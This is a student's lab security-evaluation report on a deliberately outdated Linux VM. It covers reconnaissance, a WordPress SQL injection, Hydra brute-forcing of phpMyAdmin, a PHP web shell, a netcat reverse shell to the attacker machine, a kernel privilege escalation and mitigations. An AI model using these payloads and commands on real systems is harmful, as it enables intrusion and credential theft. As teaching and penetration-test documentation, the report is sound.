Security Evaluation - 6G7Z1009

Luke Walker
LUKE.WALKER3@stu.mmu.ac.uk

Manchester Metropolitan University — March 4, 2021

Abstract

A computer system with outdated software has been deployed to demonstrate the exploits the system is vulnerable to, this paper will also discuss the reconnaissance and mitigation strategy with easy to read, follow along steps of how vulnerabilities have been exploited.

Contents

1 Introduction

A computer system has been deployed so I am able to demonstrate the vulnerabilities that are exploitable within the system. I will use ethical hacking techniques and toolsets to convey how exploitable the system is. This document will serve as documentation for the steps I have taken, along with any exploits and mitigations I come across. The mitigations and exploits I provide will have useful and realistic approaches.

2 System Deployment

Both the attack machine and vulnerable Linux machine have been deployed within 2 separate virtual machine environments. To ensure that no malicious traffic can leak out of the attacking machine and to make sure that we attack the correct IP addresses, both the machines have been placed on their own private VLAN, which doesn't have internet access at all, so it's also not possible for an intruder on the WAN to attack the machine and potentially drop malware onto my Virtual machine host via exploits. Using the command arp -a on the attacking machine, we can see that the only other machine on the LAN is the vulnerable machine, and our gateway. We can use ping on the Attacking machine to confirm we're unable to access the WAN or any other VLAN.

Any additional exploits not included within the attacking machine, which may potentially effect our target, will be downloaded by the host and only executed inside of the attacking virtual machine.

3 Reconnaissance

I started off the Reconnaissance stage by logging into the Kali machine and issuing the command ‘arp -a‘. This command will show the computers on the local network, two other ip addresses popped up in the results, one being our DVL server on 192.168.102.133. Now that we’ve confirmed the IP address of the vulnerable linux machine, we want to find out what services are possibly running on it. To do this we can use a port scanner such as masscan or Nmap. I opted for Nmap since it’s already installed on the Kali machine. I opened a terminal and entered the command ‘sudo nmap -sV -p- -A -sU 192.168.102.133‘. To break down the arguments i’ve provided, -sV detects service versions of running applications (useful for finding CVEs), -p- means scan all ports 0-65535, -A enables OS detection, version detection, script scanning and traceroute (not really needed for this scan but it might help with discovering CVE’s later) and finally -sU enables UDP scan.

The output of the Nmap scan was as follows;

```
   PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 4.4 (protocol 1.99)
| ssh-hostkey:
|   2048 97:70:d1:15:7b:f9:ec:cb:72:d9:8a:0c:76:18:15:5d (RSA1)
|   1024 6d:a9:9f:8b:0e:eb:57:1d:33:6e:e2:c6:c0:fe:78:53 (DSA)
|_  2048 2a:8b:60:25:29:f6:61:ed:32:5d:28:7c:0d:25:2b:9b (RSA)
|_sshv1: Server supports SSHv1
80/tcp  open  http    Apache httpd 1.3.37 ((Unix) PHP/4.4.4)
| http-ls: Volume /
|   maxfiles limit reached (10)
| SIZE TIME             FILENAME
| -    18-Jan-2009 21:58 /
| -    18-Jan-2009 21:58 //
| -    18-Jan-2009 21:58 /base/
| -    18-Jan-2009 21:58 /beef/
| 1k   18-Jan-2009 21:58 /info.php
| -    18-Jan-2009 21:58 /manual/
| -    18-Jan-2009 21:58 /olate/
| -    18-Jan-2009 21:58 /phpmyadmin/
| -    18-Jan-2009 21:58 /unicornscan/
| -    18-Jan-2009 21:58 /webexploitation_package_01/
|_
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/1.3.37 (Unix) PHP/4.4.4
|_http-title: Index of /
631/tcp open  ipp     CUPS 1.1
| http-methods:
|_  Potentially risky methods: PUT
|_http-server-header: CUPS/1.1
|_http-title: 403 Forbidden
3306/tcp open mysql   MySQL (unauthorized)
5801/tcp open vnc-http TightVNC 1.2.8 (user: root; resolution: 1024x800; VNC TCP port: 5901)
5901/tcp open vnc     VNC (protocol 3.7)
| vnc-info:
|   Protocol version: 3.7
|   Security types:
|     VNC Authentication (2)
|     Tight (16)
|   Tight auth subtypes:
|_    STDV VNCAUTH_ (2)
6000/tcp open X11     (access denied)
6001/tcp open X11     (access denied)
```

I started off the main reconnaissance by firing up Greenbone Security assistant to give me a general sense of how vulnerable this system was to attack. To setup Greenbone, I added a full port scan of the system using the in built port scanner, so Greenbone knows what exploits to try, once the open ports had been loaded into Greenbone, It gave me a general idea of how outdated the system was, along with passive attacks that had been picked up by

the port scanner, for example, no authentication on the VNC server. We will start the attack off by using Greenbone in the Attack section, to see if there are any easy ways to exploit the system via known CVEs.

From there I started investigating the HTTP server running on port 80. A few interesting services caught my eye such as the phpmyadmin and the wordpress instance. I know from related knowledge that wordpress can be quite insecure, especially a version this out of date. It came to my attention that most if not all of the services running on this hardware hasn't been updated since around 2010, this should give us a brilliant advantage when attempting to exploit this system, since many CVEs are available for the system. From there I began looking into the VNC server, since the Nmap scan reported that the VNC server was running as root, which would be a brilliant way to get full control over the system. Sadly after searching around on `exploit-db.com`, I was unable to find a working exploit for this service, so i circled back round and began my attack.

4 Attack

When starting off the attack I used the already existing port data within Greenbone to start up a CVE/known exploits scanner within the Greenbone environment, the scanner loads in all the known public exploits, and attempts to send the payload to the server to exploit the vulnerability. Quite a lot of the results that the report came back with seemed to be false positives, which was confirmed with manual investigation into the results. However one thing that did catch my eye was the wordpress instance running at `http://192.168.102.133/webexploitation_package_02/wordpress/`. Old wordpress versions have tons of exploits which may help us with getting a foothold into the system.

4.1 SQLi in Wordpress

I used a tool called WPscan to automatically scan the site for known vulnerabilities. The command used, is below, please note that WPScan requires an API key issued by the WPScan team to use, which I have snipped out

```
wpscan --url http://192.168.102.133/webexploitation_package_02/wordpress/ --api-token %snip%
```

The command returned the following data;

```
| [!] 16 vulnerabilities identified:
|
| [!] Title: Wordpress 1.5.1 - 2.0.2 wp-register.php Multiple Parameter XSS
|     Fixed in: 2.0.2
|     References:
|      - https://wpscan.com/vulnerability/532d7886-fe3b-4858-8739-5e1140c98c16
|      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5105
|      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5106
|
| [!] Title: WordPress <= 1.5.1.1 - "add new admin" SQL Injection
|     References:
|      - https://wpscan.com/vulnerability/f8e90881-76c7-4bc8-b15a-a102f752b2ec
|      - https://www.exploit-db.com/exploits/1059/
|
| [!] Title: WordPress <= 1.5.1.1 - SQL Injection
|     References:
|      - https://wpscan.com/vulnerability/4f97fe90-054d-4e9d-93be-085e207ddef7
|      - https://www.exploit-db.com/exploits/1033/
|
| [!] Title: WordPress 1.5.1 - 3.5 XMLRPC Pingback API Internal/External Port Scanning
|     Fixed in: 3.5.1
|     References:
|      - https://wpscan.com/vulnerability/21079a9f-7256-4ec0-b93d-44b489720cde
|      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-0235
|      - https://github.com/FireFart/WordpressPingbackPortScanner
|
| [!] Title: WordPress 1.5.1 - 3.5 XMLRPC pingback additional issues
|     References:
|      - https://wpscan.com/vulnerability/0a7a6fda-205c-4101-b8e1-9c7d1e509a24
|      - http://lab.onsec.ru/2013/01/wordpress-xmlrpc-pingback-additional.html
```

```
|
| [!] Title: WordPress 1.5 & 1.5.1.1 - SQL Injection
|     Fixed in: 1.5.1.2
|     References:
|      - https://wpscan.com/vulnerability/a6a79751-6553-4dab-b952-9d8aabf8afa7
|      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1810
|      - https://www.securityfocus.com/bid/13809/
|
| [!] Title: WordPress <= 4.0 - Long Password Denial of Service (DoS)
|     Fixed in: 4.0.1
|     References:
|      - https://wpscan.com/vulnerability/aa6a0791-5d59-4c80-b943-bfec7fff7862
|      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-9034
|      - https://www.exploit-db.com/exploits/35413/
|      - https://www.exploit-db.com/exploits/35414/
|      -
    http://www.behindthefirewalls.com/2014/11/wordpress-denial-of-service-responsible-disclosure.html
|      - https://wordpress.org/news/2014/11/wordpress-4-0-1/
|      - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_long_password_dos
|
| [!] Title: WordPress <= 4.0 - Server Side Request Forgery (SSRF)
|     Fixed in: 4.0.1
|     References:
|      - https://wpscan.com/vulnerability/894714e0-e582-4ae8-86d2-9826604bd823
|      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-9038
|      - https://www.securityfocus.com/bid/71234/
|      - https://core.trac.wordpress.org/changeset/30444
|
| [!] Title: WordPress <= 1.5.1.2 - XMLRPC Eval Injection
|     References:
|      - https://wpscan.com/vulnerability/0acc8aa0-361e-469c-93fd-4b6a6a7e5464
|      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1921
|      - https://www.securityfocus.com/bid/14088/
|
| [!] Title: WordPress <= 1.5.1.2 - Multiple Cross-Site Scripting (XSS)
|     References:
|      - https://wpscan.com/vulnerability/e34b3f9e-6a5a-46e7-81a8-4bc6c905b38f
|      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2107
|
| [!] Title: WordPress <= 1.5.1.2 - Email Spoofing
|     References:
|      - https://wpscan.com/vulnerability/fcaee4c7-6c33-4897-b6b2-597da3e4897c
|      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2109
|
| [!] Title: WordPress <= 4.7 - Post via Email Checks mail.example.com by Default
|     Fixed in: 4.7.1
|     References:
|      - https://wpscan.com/vulnerability/0a666ddd-a13d-48c2-85c2-bfdc9cd2a5fb
|      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5491
|      -
    https://github.com/WordPress/WordPress/commit/061e8788814ac87706d8b95688df276fe3c8596a
|      - https://wordpress.org/news/2017/01/wordpress-4-7-1-security-and-maintenance-release/
|
| [!] Title: WordPress 1.5.0-4.9 - RSS and Atom Feed Escaping
|     Fixed in: 4.9.1
|     References:
|      - https://wpscan.com/vulnerability/1f71a775-e87e-47e9-9642-bf4bce99c332
|      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17094
|      - https://wordpress.org/news/2017/11/wordpress-4-9-1-security-and-maintenance-release/
|      -
    https://github.com/WordPress/WordPress/commit/f1de7e42df29395c3314bf85bff3d1f4f90541de
|
```

```
| [!] Title: WordPress <= 4.9.4 - Application Denial of Service (DoS) (unpatched)
|     References:
|      - https://wpscan.com/vulnerability/5e0c1ddd-fdd0-421b-bdbe-3eee6b75c919
|      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-6389
|      - https://baraktawily.blogspot.fr/2018/02/how-to-dos-29-of-world-wide-websites.html
|      - https://github.com/quitten/doser.py
|      - https://thehackernews.com/2018/02/wordpress-dos-exploit.html
|
| [!] Title: WordPress <= 4.9.6 - Authenticated Arbitrary File Deletion
|     References:
|      - https://wpscan.com/vulnerability/42ab2bd9-bbb1-4f25-a632-1811c5130bb4
|      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-12895
|      - https://blog.ripstech.com/2018/wordpress-file-delete-to-code-execution/
|      -
    http://blog.vulnspy.com/2018/06/27/Wordpress-4-9-6-Arbitrary-File-Delection-Vulnerbility-Exploit/
|      -
    https://github.com/WordPress/WordPress/commit/c9dce0606b0d7e6f494d4abe7b193ac046a322cd
|      - https://wordpress.org/news/2018/07/wordpress-4-9-7-security-and-maintenance-release/
|      -
    https://www.wordfence.com/blog/2018/07/details-of-an-additional-file-deletion-vulnerability-patched-in-w
|
| [!] Title: WordPress <= 5.2.2 - Cross-Site Scripting (XSS) in URL Sanitisation
|     Fixed in: 5.2.3
|     References:
|      - https://wpscan.com/vulnerability/4494a903-5a73-4cad-8c14-1e7b4da2be61
|      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16222
|      - https://wordpress.org/news/2019/09/wordpress-5-2-3-security-and-maintenance-release/
|      -
    https://github.com/WordPress/WordPress/commit/30ac67579559fe42251b5a9f887211bf61a8ed68
|      - https://hackerone.com/reports/339483
```

A few results came back as seen above, XSS, Eval code execution and more importantly, multiple SQL injections, I chose to use an SQL injection as this would give me the most amount of information for exploiting the system. The vulnerability I used, has source code available on exploit-db, located here `https://www.exploit-db.com/exploits/1033/`, I downloaded the script and used the following command to steal the admin credentials.

```
perl sqli.pl http://192.168.102.133/webexploitation_package_02/wordpress/ 2
```

The password and username was returned in the output, however the password was MD5 hashed (7b24afc8bc80e548d66c4e7ff72171c5). I can now use a tool such as John or an online database of MD5 hashes to crack the password. I opted to try an online database first, and the result came back, the admin login to the wordpress instance is admin:toor in username:password format. Once authenticated we're able to create and delete new posts and users, along with viewing sensitive information such as emails.

4.2 Exploit chain

Since we now have a username and password, we can attempt authentication against other applications running on the server. I first attempted to authenticate with SSH, however I got a permission denied error when trying to login with our username and password. After some digging I found a phpMyAdmin instance, sadly the credentials hadn't been reused, however, I moved to using a password cracking utility called hydra. I used the following command to crack the phpmyadmin login creds:

```
hydra -l root -P darkc0de.txt -f -e ns -vV 192.168.102.133 http-post-form
    "/phpmyadmin/index.php:pma_username=^USER^&pma_password=^PASS^&server=1:denied"
```

Hydra outputs the following username and password combo

```
root:0
```

This allows us to login to the PHPmyadmin instance, with this we are able to see all the database tables stored within the SQL server located on port 3306 TCP. For example, I'm able to access the phpbb users table, and see

the admin login, which is hashed with MD5. This information is highly helpful, but something else we can do is get arbitrary code execution within PHPMyadmin. To do this we will create a new database called "backdoor", and inside here, I will create a new table called backdoor and set the type to TEXT.
We can now insert a new row into the database with the value of

```
<pre><@system($_GET['command']);?></pre>
```

[1] We can use a trick built into SQL to dump the contents of this database (and our shell) into a php file accessible to us from the Apache server. We run the following SQL query

```
SELECT * INTO DUMPFILE '/usr/local/apache/htdocs/shell.php FROM exploit;
```

Now if everything worked correctly, we should be able to navigate to `http://192.168.102.133/shell.php?command=cat/etc/passwd` and see the contents of the passwd file.

```
root:x:0:0::/root:/bin/bash
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
adm:x:3:4:adm:/var/log:
lp:x:4:7:lp:/var/spool/lpd:
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/:
news:x:9:13:news:/usr/lib/news:
uucp:x:10:14:uucp:/var/spool/uucppublic:
operator:x:11:0:operator:/root:/bin/bash
games:x:12:100:games:/usr/games:
ftp:x:14:50::/home/ftp:
smmsp:x:25:25:smmsp:/var/spool/clientmqueue:
mysql:x:27:27:MySQL:/var/lib/mysql:/bin/bash
rpc:x:32:32:RPC portmap user:/:/bin/false
sshd:x:33:33:sshd:/:
gdm:x:42:42:GDM:/var/state/gdm:/bin/bash
pop:x:90:90:POP:/:
nobody:x:99:99:nobody:/:
postgres:x:1000:100::/home/postgres:
```

The only issue here, is when we issue the command id, we can see we are authenticated as the user "nobody", so we don't have any permissions. We can tell the server to connect back to us with a reverse shell by using netcat, on our attacking box, we can create a listen port, as follows

```
netcat -lvp 1337
```

With our web shell, we can issue the following URL to create a connection back to our attacking box

```
http://192.168.102.133/shell.php?command=nc%20-e%20/bin/bash%20192.168.102.135%201337
```

We will use a kernel exploit called "`sock_sendpage()`" to elevate our privileges to root! First we need to get the script from ExploitDB, we can use the tftpd server that's running on port 69/UDP to upload the run.c and exploit.c to /tmp on the DVL machine. Once it's uploaded we can use our netcat reverse shell to cd to /tmp. We can compile both binaries with gcc, execute ./run, and we now have a full root shell!

```
sh-3.1# whoami
root
sh-3.1# uname -a
Linux bt 2.6.20-BT-PwnSauce-NOSMP #3 Sat Feb 24 15:52:59 GMT 2007 i686 athlon-4 i386
    GNU/Linux
sh-3.1#
```

5 Mitigation

The following Mitigations for this server are as follows, with details explanations on why.

1. Update the server to the latest Linux kernel - I was able to get a completely unprivileged shell by exploiting software that's installed on the machine, however the real compromise came from the outdated kernel that the machine is running. Since this kernel was built in 2007, many complete full privilege escalation exploits have been released, which will affect this system. This can be done by issuing the update command to apt, or apt-get.

2. Update SSH - The SSH server running on this OS is still using SSHv1. Which has tons of vulnerabilities and it's completely unsafe to be using it on a public facing machine. The main threat facing SSHv1 is that the ciphers it uses to encrypt data are thought to be broken, which could lead to information such as usernames and passwords being compromised by a man in the middle attack.

3. Remove or set a whitelist for valid IPs that can access the VNC server - While I wasn't able to exploit the VNC server, having a complete remote desktop application facing the web and running as root is a giant security issue, since as i've already mentioned the software on this machine is extremely outdated, it would be recommended to set a whitelist of IP addresses rather within VNC or IPtables and additionally update the VNC server to the latest available package. This can also be done with apt/apt-get.

4. Patch/Remove web services, such as wordpress - I managed to exploit the wordpress instance with little to no knowledge of SQL injection, There is potentially other web applications running on this server that rather don't need to be there, or are already vulnerable to known exploits. It's recommended you patch these software packages or remove them completely if they're not in use.

5. Stronger passwords - The passwords I managed to crack (phpmyadmin and wordpress) were extremely weak. It is recommended to use at least 12 alpha numerical characters for important passwords, and to implement a rate limiting system in the Apache server so attackers are unable to bruteforce logins as easily.

6. Deny outbound/inbound connections on unused ports - The main reason why I was able to exploit the system to get a root shell as easy was that there was no sort of filtering on which ports I could send traffic on. It's recommended by this report that a rule set is created within IPtables to deny traffic on unused ports so attackers cannot exfiltrate data as easily in the case of a successful exploit.

7. Remove the phpInfo files - While these files don't pose a complete security risk, it's quite easy for attackers to look at this file and decide what sort of exploits they can use to exploit the system, since it gives us installed modules, software versions and the kernel version.

6 Conclusion

In conclusion, this server should be instantly removed from the network so it's unable to access the world wide web, from there the Mitigations above need to be one by one fixed within the system. At it's current status, it is quite possible that the server has already been compromised by a malicious attacker, therefore it would also be recommended for a full forensics investigation into the server to identify any other indicators of compromise. If there is any indicators of compromise, users of the system need to be informed within 72 hours under the GDPR regulation.

References

References

[1] *Exploit Database. 2021. How to find RCE in scripts (with examples).* [online] [*Available at: <https://www.exploit-db.com/papers/12885> [Accessed 11 February 2021].*]